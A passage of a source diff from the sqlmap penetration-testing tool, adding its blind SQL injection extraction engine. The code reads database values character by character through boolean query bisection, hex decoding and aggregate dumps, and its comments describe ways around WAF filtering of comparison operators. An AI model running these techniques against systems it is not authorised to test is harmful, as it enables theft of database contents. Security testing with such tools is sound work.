WHOLE: a server-side aggregate output + # limit truncates the FINAL token, dropping its ';', so the truncated token is caught + # instead of a shorter-but-still-valid-hex value silently counting as one item. + encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # frame each value as V:; when a length fn exists: the ';' catches aggregate + # truncation (final token loses it) AND the independent catches a capped/lossy HEX + # that shortened the VALUE (decoded chars != declared) - which the terminal marker alone + # (round 5) missed because a shortened even-length hex is still valid+terminated. + lenframed = bool(self.dialect.length and self.dialect.textcast) + if lenframed: + lenstr = self.dialect.textcast[1].format(expr=self._len(col)) + aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"]) + else: + aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"]) + if self.dialect.bulkAgg is None: + self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where) + if not self.dialect.bulkAgg: + return None + agg = self.dialect.bulkAgg[1].format(col=aggcol) + res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars) + joined = res.value + if joined is None: + return BulkResult([], expected=expected, complete=False) + tokens = joined.split(",") + if res.truncated and tokens: # last token may be partial + tokens = tokens[:-1] + names, seen, aggtruncated = [], set(), False + for t in tokens: + if not (t.startswith("V") and t.endswith(";")): # missing terminal marker + aggtruncated = True # aggregate truncated this token -> drop, flag + continue + body = t[1:-1] # strip 'V' prefix and ';' terminator + declared = None + if lenframed: + lenpart, sep, hexpart = body.partition(":") + if sep != ":" or not lenpart.isdigit(): + aggtruncated = True # malformed length prefix -> truncated token + continue + declared, body = int(lenpart), hexpart + v = self._decodeHexToken(body, encoding) + if v is not None and (declared is None or len(v) == declared): # independent length witness + if v not in seen: # dedupe (non-unique columns repeat) + seen.add(v) + names.append(v) + elif v is not None: # decoded but length mismatch -> a capped hex shortened it + aggtruncated = True + complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected + if aggtruncated: + self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind) + elif expected is not None and len(names) != expected: + self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected)) + return BulkResult(names, expected=expected, complete=complete) + + def _discoverBulkAgg(self, col, src, where): + for name, tmpl in _BULK_AGG: + agg = tmpl.format(col=col) + if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)): + return Cap(name, tmpl) + return None diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py new file mode 100644 index 00000000000..5da4a189a69 --- /dev/null +++ b/extra/esperanto/extraction.py @@ -0,0 +1,830 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import binascii + +from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings +from .atlas import _HEX_Q_ENCODINGS +from .atlas import _HEXDIGITS +from .atlas import _HEXFN +from .atlas import _isSingleUnicodeScalar +from .atlas import _MAX_HEX_CHAR_NIBBLES +from .atlas import _native +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _SIMILAR_META +from .atlas import _UNICODE_MAX +from .atlas import _unhexlify +from .atlas import _unichr +from .records import Cap +from .records import ExtractResult +from .records import NumericOutOfRange +from .records import OracleUndecided + + +class _Extraction(object): + """_Extraction + + turn the discovered dialect into VALUES: length, char reading, literals, hex, + the public extract*/read* API, and the LIKE pattern-match floor.""" + + def _charExists(self, expr, pos): + # is there a real character at 1-based `pos`? derived from the substring's + # measured end behavior - the basis for length when no length fn exists. + one = self._sub(expr, pos, 1) + if self.dialect.substring.get("beyond_end") == "null-or-error": + return self._ask("%s IS NOT NULL" % one) + return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one) + + def _measureLengthSub(self, expr, ceiling): + # length via substring: find the largest position that still holds a char. + # mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char + # exists at N+1), for backends with substring but no length fn. + if not self._charExists(expr, 1): + return (None if self._ask("(%s) IS NULL" % expr) else 0), False + if self._charExists(expr, ceiling + 1): + return ceiling, True + low, high = 1, min(8, ceiling) + while high < ceiling and self._charExists(expr, high + 1): + low = high + 1 + high = min(high * 2, ceiling) + while low < high: + mid = (low + high) // 2 + if self._charExists(expr, mid + 1): + low = mid + 1 + else: + high = mid + return low, False + + def _hasChars(self, expr): + # non-empty existence check that works with either a length fn or substring + if self.dialect.length is not None: + lexpr = self._len(expr) + return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr) + if self.dialect.substring is not None: + return self._charExists(expr, 1) + return False + + def _lenEquals(self, expr, n): + # exact-length corroboration used in discovery, length-fn or substring-derived + if self.dialect.length is not None: + return self._ask("%s=%d" % (self._len(expr), n)) + if self.dialect.substring is not None: + return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n + return False + + def _measureLength(self, expr, ceiling=None): + """Return (length, truncated) - no shared per-call state, and a separate + `ceiling` so hex/byte pulls can be capped independently of maxlen.""" + ceiling = self.maxlen if ceiling is None else ceiling + if self.dialect.length is None: + return self._measureLengthSub(expr, ceiling) + lexpr = self._len(expr) + if not self._numDefined(lexpr): + return None, False + if self._ask("%s=0" % lexpr): + return 0, False + if ceiling < 1: # non-empty value but capped to nothing (maxlen=0) + return 0, True + try: + n = self._readNum(lexpr, 1, ceiling) + except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value + return ceiling, True + return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap + # is COMPLETE, not truncated - overflow is the exception above + + def valueLength(self, expr): + length, truncated = self._measureLength(expr) + self._lastTruncated = truncated + return length + + def _literalVariants(self, value): + # spellings to try for exact char verification; SQL Server & others need an + # N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate + yield self._lit(value) + if any(ord(c) > 127 for c in value): + yield "N%s" % self._lit(value) + + def _exactCharEquals(self, expr, value): + return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value)) + + def _lit(self, ch): + # double single quotes always; also double backslashes on engines that treat + # '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break + # the literal and silently corrupt the probe + if self._backslashEscape is None: + self._backslashEscape = (self.dialect.length is not None + and self._ask("%s=1" % self._len("'\\\\'"))) + s = ch.replace("\\", "\\\\") if self._backslashEscape else ch + return _native("'%s'" % s.replace("'", "''")) + + def _bisectCharset(self, greater): + # greater(c) -> is the source char strictly greater than charset char c? + cs = _PRINTABLE_SORTED + lo, hi = 0, len(cs) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if greater(cs[mid]): + lo = mid + 1 + else: + hi = mid + return cs[lo] + + def _gtNum(self, expr, n, high): + # "is `expr` > n?" via the discovered comparator (high = current upper bound). + # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. + if self._comparator == "between": + return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) + if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...) + return self._ask(self._cmpTemplate.format(expr=expr, n=n)) + return self._ask("%s>%d" % (expr, n)) + + def _numDefined(self, expr): + # value is a defined (non-NULL) number - validity gate that needs no '>' + return self._ask("(%s) IS NOT NULL" % expr) + + def _readNum(self, expr, lo, hi): + """Bounded numeric read in [lo, hi]. PROVES the value lies in range before + bisecting - a bounded search must never invent an in-range boundary ('>' + saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an + out-of-range value raises NumericOutOfRange for the caller to classify + (length -> truncated, integer -> overflow) instead of returning wrong data.""" + if self._comparator == "membership": + if self._inOk: + window = 128 + base = lo + while base <= hi: + win = list(range(base, min(base + window, hi + 1))) + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): + while len(win) > 1: + half = win[:len(win) // 2] + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): + win = half + else: + win = win[len(win) // 2:] + return win[0] + base += window + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan + if self._ask("%s=%d" % (expr, v)): + return v + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + # ordered comparators (gt / between / operator-free rung): prove range first + if self._comparator == "between": + if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)): + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + else: # gt or operator-free rung ('>' semantics) + if self._gtNum(expr, hi, hi): + raise NumericOutOfRange("%s > %d" % (expr, hi)) + if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo) + raise NumericOutOfRange("%s < %d" % (expr, lo)) + low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap + while high < hi and self._gtNum(expr, high, hi): + low, high = high + 1, min(high * 2, hi) + while low < high: + mid = (low + high) // 2 + if self._gtNum(expr, mid, hi): + low = mid + 1 + else: + high = mid + return low + + def _bisectCodes(self, code, codes): + # ordered bisection over a sorted code list (restricted alphabet) + lo, hi = 0, len(codes) - 1 + top = codes[hi] + while lo < hi: + mid = (lo + hi) // 2 + if self._gtNum(code, codes[mid], top): + lo = mid + 1 + else: + hi = mid + return codes[lo] + + def _bisectCodeRange(self, code): + # general dynamic-range bisection - a real code-point fn can far exceed 255, + # so find the tight upper bound first, then bisect + high = _UNICODE_MAX + for cap in (127, 255, 0xFFFF, _UNICODE_MAX): + if not self._gtNum(code, cap, _UNICODE_MAX): + high = cap + break + low = 0 + while low < high: + mid = (low + high) // 2 + if self._gtNum(code, mid, high): + low = mid + 1 + else: + high = mid + return low + + def _pickCode(self, code, codes): + # order-free code selection when there's no ordered comparator: IN() subset + # bisection if available, else a plain '=' scan (last resort, no '<>' needed) + if self._inOk: + return self._membershipCode(code, codes) + for c in codes: + if self._ask("%s=%d" % (code, c)): + return c + return None + + def _membershipCode(self, code, codes): + # ORDER-FREE subset bisection: split the candidate code list in half and test + # `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN + # and collation quirks. ~log2(n) probes. Returns the matched code, or None + # when the char is outside `codes` (caller escalates to hex / marks it). + if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))): + return None + cand = list(codes) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _membershipLit(self, one, chars): + # order-free subset bisection over char LITERALS (no code fn, no ordering) - + # `chars` is frequency-ordered so the common half resolves first + if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))): + return None + cand = list(chars) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _ensureHexfn(self): + # a hex fn may not have been discovered (code/collation mode won the ladder + # before hex was tried); probe for one on demand so escalation can recover + # bytes exactly. probes at most once. + if self.dialect.hexfn is None and not self._hexProbed: + self._hexProbed = True + with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) + break + return self.dialect.hexfn + + def _hexEncoding(self, tmpl): + # if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 / + # utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form + # AND track the char (a DIFFERENT value for 'p'), so a constant can't match. + hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q' + hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p' + cf = self._codeCharTmpl() + for form, enc in _HEX_Q_ENCODINGS: + if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))): + continue + # BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying + # itself). A LONG probe is required: a short sample passes any large-enough fixed cap, + # so an 8/64/255-byte-capped hex fn would slip through. No usable length measure -> + # do NOT certify whole-value hex output. + bpc = 2 if "16" in enc else 1 + probe = "A" * 256 + if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2): + continue + # PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in + # MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match + # alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is + # UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe + # passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a + # byte-based mode that mangles multibyte). None means only 'no working hex fn'. + if cf: + eur = tmpl.format(expr=cf.format(code=0x20AC)) + want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc) + if want and self._ask("LOWER(%s)='%s'" % (eur, want)): + return enc + return "" # ASCII-compatible, codec unproven: usable, auto-detect decode + return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII- + # compatible in many charsets (CP1252/Latin-1/SJIS/...), so it + # is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text + return None + + def _escalate(self, one, pos): + # candidate did not verify -> char is outside the searched alphabet. + # recover its exact bytes via hex if available; otherwise mark it (never + # silently substitute a space/'~' or delete it) + if self._ensureHexfn(): + ch = self._readHexChar(one) + if ch and ch != _REPL: + return ch + self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos) + return _REPL + + def _readChar(self, expr, pos, codes=None): + one = self._sub(expr, pos, 1) + mode = self.dialect.compare + + if mode == "code": + code = self.dialect.charcode[1].format(expr=one) + ordered = self._comparator != "membership" # gt/between OR an operator-free rung (all bisect via _gtNum) + if codes is not None: + # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII + # set. no per-char verify - ASCII codes are unambiguous across charcode + # semantics and extractResult whole-value verifies. + low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes) + return _unichr(low) if low is not None else self._escalate(one, pos) + if ordered: + low = self._bisectCodeRange(code) + else: + # no ordered operator: order-free IN() over the printable set (or a '=' + # scan if IN is gone too); anything outside it escalates to hex / marks + low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED]) + if low is None: + return self._escalate(one, pos) + if 0xD800 <= low <= 0xDFFF: + # a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation) + # can return an isolated surrogate - not a scalar; recover via bytes + return self._escalate(one, pos) + try: + ch = _unichr(low) # low==0 is a valid NUL char, not "empty" + except ValueError: + return self._escalate(one, pos) + # a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even + # '?' (63) for an unrepresentable char - the old low>127-only check + # silently accepted the last as a literal '?'. only a *proven* code-point + # fn is trusted outright; everything else must round-trip-verify. + if self.dialect.charcode.get("semantics") != "codepoint" and \ + not self._exactCharEquals(one, ch): + return self._escalate(one, pos) + return ch + + if mode == "hex": + if self.dialect.hexfn is None: + return self._escalate(one, pos) + return self._readHexChar(one) + + if mode == "collation": + if self.dialect.binwrap is None: + return self._escalate(one, pos) + w = self.dialect.binwrap[1] + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c))))) + if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))): + return cand + return self._escalate(one, pos) + + if mode == "ordinal": + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c)))) + if self._ask("%s=%s" % (one, self._lit(cand))): + return cand + return self._escalate(one, pos) + + # equality / equality-ci: order-free IN() subset bisection (frequency-ordered, + # ~log2(n) probes) when IN is usable, else the linear frequency scan + if self._inOk: + ch = self._membershipLit(one, _FREQ_ORDER) + return ch if ch is not None else self._escalate(one, pos) + for ch in _FREQ_ORDER: + if self._ask("%s=%s" % (one, self._lit(ch))): + return ch + return self._escalate(one, pos) + + def _readHexChar(self, one): + # read the uppercase-hex byte string of a single source char, digit by + # digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip + # against the source (decoder order alone is endian-ambiguous: 00 41 is both + # UTF-16BE 'A' and UTF-16LE U+4100). + hexpr = self.dialect.hexfn[1].format(expr=one) + hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES) + if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES: + return _REPL + # bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks + # vs up to 16); fall back to an equality scan otherwise + if self._hexOrdered is None: + self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'")) + digits = "" + for k in range(1, hlen + 1): + nib = self._sub(hexpr, k, 1) + if self._hexOrdered: + lo, hi = 0, len(_HEXDIGITS) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])): + lo = mid + 1 + else: + hi = mid + # verify: if nib isn't actually this hex digit (WAF/glitch), bail + if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])): + return _REPL + digits += _HEXDIGITS[lo] + else: + for hd in _HEXDIGITS: + if self._ask("%s='%s'" % (nib, hd)): + digits += hd + break + else: + return _REPL + try: + raw = _unhexlify(digits) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return _REPL + # generate every single-scalar candidate and pick the one that round-trips + # against the source char (resolves the endian ambiguity), preferring the + # interleaved-NUL-signalled endianness order first + order = [] + if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00": + order += ["utf-16-be", "utf-32-be"] + if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00": + order += ["utf-16-le", "utf-32-le"] + # UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode + # backend may hex; each is TRIED only when it round-trips against the source char + # (see _exactCharEquals below), so adding codecs can only recover MORE, never + # mis-decode. latin-1 stays last (it accepts any single byte). + order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be", + "cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"] + seen = set() + for enc in order: + try: + dec = raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + if dec in seen or not _isSingleUnicodeScalar(dec): + continue + seen.add(dec) + if self._exactCharEquals(one, dec): + return dec + return _REPL + + def _textable(self, expr): + # extraction needs BOTH length and substring to work; length may implicitly + # cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)), + # so the substring primitive must be probed too. with no length fn, the + # substring probe alone is the textability test. + length_ok = self.dialect.length is None or self._numDefined(self._len(expr)) + return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1)) + + def _resolveText(self, expr): + # if the expression isn't directly substringable (e.g. a numeric/date column on a + # strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered + # text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does + # not exist) means "not directly textable" -> fall through to the cast, never fatal. + with self._probePhase(): + if self._textable(expr): + return expr + if self.dialect.textcast is not None: + casted = self.dialect.textcast[1].format(expr=expr) + # use the cast when it makes a NON-NULL value textable; if the value is + # currently NULL the cast is STILL correct (LENGTH may not even exist for the + # raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead + # of yielding a clean is_null, so prefer the cast in the NULL case too + if self._textable(casted) or self._ask("(%s) IS NULL" % expr): + return casted + return expr + + def coalesce(self, expr, fallback="''"): + return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr + + def _concatMany(self, parts): + if len(parts) == 1: + return parts[0] + func = self.dialect.concat.get("variadic") if self.dialect.concat else None + if func: # flat CONCAT(a,b,c,...) when variadic + return "%s(%s)" % (func, ",".join(parts)) + out = parts[0] + for p in parts[1:]: + out = self.dialect.concat[1].format(a=out, b=p) + return out + + def buildLiteral(self, value): + """Build a SQL string literal for `value`. Prefers CHAR(code)||... from the + discovered char-from-code + concat primitives (no quote-escaping pitfalls), + for ASCII values; otherwise a doubled-quote literal.""" + if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value): + return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value]) + return self._lit(value) + + def extract(self, expr, limit=None): + return self.extractResult(expr, limit).value + + def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None): + """Structured text extraction keeping NULL / empty / truncated / failed + distinct - never conflated into one ambiguous ''/None. `codes` restricts the + char alphabet (sorted code list) for a big speedup on known-alphabet values.""" + if self.dialect.prefix is not None and self.dialect.substring is None: + return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path + q0 = self._queries + expr = self._resolveText(expr) + ceiling = self.maxlen if _ceiling is None else _ceiling + length, truncated = self._measureLength(expr, ceiling=ceiling) + if length is None: + # >=0 was false: either a genuine NULL or the probe itself failed. + # PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to + # turn every invalid expression into a convincing, "complete" NULL. + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["length probe failed"]) + if limit is not None and limit < length: + truncated = True # a bounded prefix of a longer value + length = limit + if length == 0: + value = "" + else: + chars = [] + for i in range(1, length + 1): + chars.append(self._readChar(expr, i, codes)) + self._emitChar("".join(chars), length) # live progress: user sees it working + value = "".join(chars) + warns = ["contains unresolved char"] if _REPL in value else [] + if self.dialect.compare == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete + # a length fn can stop at an embedded NUL, yielding a convincing short prefix. + # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the + # strongest available comparator (hex > binary wrapper > plain equality); even + # plain equality catches a NUL-truncated prefix. recover via hex on mismatch. + # (_verify=False on the internal hex-string pull to avoid re-entry.) + # escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails + # whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a + # code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks + # chars outside its alphabet, yet the cast+hex path recovers them cleanly. + if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))): + recovered = self._extractViaHex(expr, q0) + if recovered is not None: + return recovered + if complete: # verify failed and no hex recovery -> demote + complete = False + warns.append("whole-value verification failed") + # a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and + # collation/ordinal ordering are collation-dependent (accent/case/width folding), so + # without a proven hex/binary witness (or code-mode codepoint reads) the recovered + # bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT. + if _verify and value and complete and not self._byteFaithful(): + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") + return ExtractResult(value, complete=complete, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + def _byteFaithful(self): + # is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a + # binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint + # semantics reads true code points, so it is faithful on its own. + if self.dialect.hexfn is not None: + return True + if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"): + return True # only a PROVEN byte-exact wrapper (accents tested) counts + return (self.dialect.compare == "code" and self.dialect.charcode is not None + and self.dialect.charcode.get("semantics") == "codepoint") + + def _extractViaHex(self, expr, q0=None): + # recover a full text value through strict hex extraction, or None + if not self._ensureHexfn(): + return None + q0 = self._queries if q0 is None else q0 + # route through the text cast, exactly as the framed dump does: a column whose STORAGE + # charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) - + # hexes to bytes the DB-charset decode garbles; casting to the DB char type first + # normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec. + hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr + res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr), + _ceiling=self.maxbytes * 2, _verify=False) + if res.is_null: + return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0) + if res.value is None or not res.complete or res.truncated or res.warnings: + return None + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an + # embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes + # are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact. + if enc is None: + try: + rawb = bytearray(_unhexlify(res.value)) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if any(b >= 0x80 for b in rawb): + return None # non-ASCII under an unproven codec -> not exact + dec = self._decodeHexToken(res.value, enc) + if dec is None: + return None + return ExtractResult(dec, complete=True, queries=self._queries - q0, + warnings=["recovered via hex after verification mismatch"]) + + def _exactEquals(self, left, right): + # whole-value equality that avoids collation/trailing-space lies + if self._ensureHexfn(): + t = self.dialect.hexfn[1] + return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right))) + if self.dialect.binwrap: + t = self.dialect.binwrap[1] + return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right))) + return self._ask("(%s)=(%s)" % (left, right)) + + def extractInteger(self, expr, maximum=None): + """Extract a (possibly signed) integer by range-bounded bisection - avoids + stringifying and reading digit-by-digit. EVERY numeric decision renders through + `_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it + never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free + rung keeps FULL signed range (not the membership magnitude ceiling).""" + cap = maximum if maximum is not None else 1 << 62 + if not self._numDefined(expr): + return None + if self._comparator == "membership": + # no ordered comparator at all: read the non-negative magnitude (counts / + # lengths) via the bounded IN/scan window; out-of-range -> overflow. + ceil = min(cap, 1 << 16) + try: + return self._readNum(expr, 0, ceil) + except NumericOutOfRange: + raise OverflowError("integer exceeds maximum %d" % ceil) + # ordered comparator: bracket the value with `expr > n` probes then bisect the + # transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders + # `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as + # an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max + # value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold. + HUGE = 1 << 62 + if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude) + if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum + raise OverflowError("integer exceeds maximum %d" % cap) + lo, hi = -1, 1 + while hi < cap and self._gtNum(expr, hi, HUGE): + lo, hi = hi, min(hi * 2 + 1, cap) + else: # not in [0, HUGE] + # BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here. + # distinguish it from a genuine negative before reporting a direction (a gt/operator- + # free sign test is unbounded, so its else-branch is truly negative and skips this). + if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)): + raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE) + if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum + raise OverflowError("integer below minimum -%d" % cap) + hi, lo = -1, -2 + while lo > -cap and not self._gtNum(expr, lo, HUGE): + hi, lo = lo, lo * 2 + lo = max(lo, -cap - 1) + # invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi] + while hi - lo > 1: + mid = (lo + hi) // 2 + if self._gtNum(expr, mid, HUGE): + lo = mid + else: + hi = mid + # FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on + # integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to + # '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm + # the result with a direct equality against the ACTUAL expression; if it isn't decisively + # true the read is invalid -> fail closed (never return a silently-wrong count/length/id). + if not self._ask("(%s)=%d" % (expr, hi)): + raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi)) + return hi + + def extractBytes(self, expr): + """Extract the exact bytes of a string/blob expression via a hex function. + Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so + whatever compare mode is active reads it cleanly). Returns None if no hex + function is available on the target.""" + if not self._ensureHexfn(): + return None + # hex doubles the length; cap by maxbytes (a char can be several bytes), + # not maxlen + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + hexstr = res.value + # STRICT: never clean corruption into believable bytes. reject a non-hex + # char, odd length, incomplete/truncated pull, or an unresolved marker. + if hexstr is None or not res.complete or res.truncated or res.warnings: + return None + if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr): + return None + try: + raw = _unhexlify(hexstr) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + # INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte + # count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex + # that silently shortened the value is caught rather than passed off as "the exact bytes". + if self.dialect.bytelen is not None: + # FAIL CLOSED: once a byte-length witness is selected for certification, an undecided + # or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never + # treat "couldn't verify" as "matched". + try: + expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr)) + except (OracleUndecided, OverflowError): + return None + if expected is None or expected != len(raw): + return None + return raw + + def extractText(self, expr, encoding="utf-8", errors="replace"): + """Extract bytes then decode with a caller-chosen encoding - the reliable + path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16 + NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the + target has no hex function.""" + raw = self.extractBytes(expr) + if raw is None: + return self.extract(expr) + return 